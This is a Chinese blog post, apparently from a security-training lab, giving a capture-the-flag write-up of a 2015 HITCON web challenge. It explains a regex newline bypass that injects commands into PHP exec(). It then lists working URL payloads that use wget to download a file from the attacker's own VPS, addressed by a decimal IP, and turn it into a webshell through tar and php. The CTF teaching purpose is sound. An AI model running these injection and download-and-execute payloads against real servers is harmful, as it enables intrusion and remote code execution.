您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 2浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

如何巧用vps解题?

合天网安实验室 发布时间:2022-02-23 18:00:00 ,浏览量:2

点击蓝字

6f0367fa22169258f4b458f66c13b753.png

关注我们

前言

对于Web方向的选手来说,拥有一台vps可以快速解决一些RCE问题,本篇文章所演示的是2015年HITCON的一道web题,虽然时隔有些久,但是这题所利用的trick以及RCE的思路,仍然值得我们去学习。

初步审计

题目代码如下:

题目代码比较短,一共就15行代码,但实际上最关键的代码就只有两行,如下:

if ( !preg_match('/^\w+$/', $args[$i]) )
exec("/bin/orange " . implode(" ", $args));

一个是正则匹配,一个是exec的命令执行

首先先看正则部分/^\w+$/,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$,需要明确的是:$符号在PCRE中是会匹配\n以及\r前的位置的,结合后面exec命令执行的部分,也就是说,我们可以使用换行符%0a绕过执行其他命令。

但是如果本题在正则表达式后加一个D修饰符,那么就无法使用%0a绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。

echo preg_match("/^\w+$/", "abc".chr(10));//1
echo preg_match("/^\w+$/D", "abc".chr(10));//0

其次再粗略看一下命令执行的部分,这里命令执行的部分使用exec,单单使用一个exec是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等

数据外带

首先分析一下数据外带,多数情况下想要尝试数据外带都需要使用一些特殊的字符,例如使用反引号外带至dnslog,不过本题正则不允许args传入,因此数据外带这个方法行不通

写入shell

想要使用写入shell方法完成本题,还是有两种方式,一种方式就是使用echo 'xxx' > xx.php,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE

详解RCE

本题官方解所使用的思路就是:下载远程服务器上的文件,通过一些操作进行RCE,具体是哪些操作下面会说到。

首先我们现在本地服务器上测试,此时新建一个php文件,命名为1.php,内容如下:

然后将1.php放入一个文件夹a

113dc012c6e0c988dbfbd4713e869446.png

这个时候我们将文件夹a利用tar打包,注意是打包,不是压缩

tar cf b a
将文件夹a打包,并且生成b

打包之后结果如下:

e5aa7bb887669227cc454ccd3fdde4e0.png

此时我们直接使用php命令去执行这个b

e5dd3c6243c2b46f711f98eb3f8e39a9.png

看一下最后的12,就是前面1.php的执行结果3 * 4 = 12

那么为什么可以直接执行b这个文件呢?

其实我们可以直接使用cat查看b中的文件

4ad152a96ff0d8a6c917d3f8d7f073b6.png

可以看到,b文件中存在之前写入的1.php的代码

这个时候我们总结一下这个方法,全程使用的命令对于正则/^\w+$/都是合法的,并且1.php中的内容可控,因此可以通过这个方法写入shell

因此,对于解题来说,解题流程如下:

首先在vps中新建一个index.html,文件内容如下:

然后在vps中启动http服务

python3 -m http.server 80

由于ip都是6.6.6.6的形式,带.,不符合正则,因此可以使用十进制ip绕过


//101058054

然后先新建一个upload目录,对应上面测试的a

?args[]=l%0a&args[]=mkdir&args[]=upload

然后进入upload目录,利用wget下载vps上的index.html

?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054
//注意:最后一个args为vps十进制ip值

upload目录打包,打包后的名称为b

?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload
//将upload目录打包为b

在执行b目录,写入shell

?args[]=l%0a&args[]=php&args[]=b
//执行b,写入shell

这题本质上是利用了tar打包的特性,将下载下来的index.html打包,然后利用php执行

不过这只是官方解,除此之外,在2015年比赛的时候,还有一些队伍使用http302重定向到ftp中,将恶意文件下载到靶机中getshell。

由于Python自带的http.server默认将index.html作为首页,并且无法修改默认首页

但是,还有一种方法就是自建一个web服务器,不使用php解析,且访问80端口的默认文档为shell.php,然后再利用wget下载php文件进行getshell。

总之,方法总比困难多。

参考文章
  • HITCON CTF 2015 Quals Web 出題心得 | WooYun知识库 (xmd5.com)

  • ctf/2015-10-18-hitcon/web_100_babyfirst at master · p4-team/ctf (github.com)

参考文章

CTF中的命令执行,通过该实验掌握通过对字符串进行异或、取反、自增的操作让关键函数不包含字母及数字而执行关键函数的方法。

https://www.hetianlab.com/expc.do?ec=ECID2973-7aed-4d9b-9275-0dc8efc61f57&pk_campaign=weixin-wemedia#stu

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

ec7b974bc922b014ba2e8fedb5bcaff9.gif

体验靶场实操,戳“阅读原文”体验

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0736s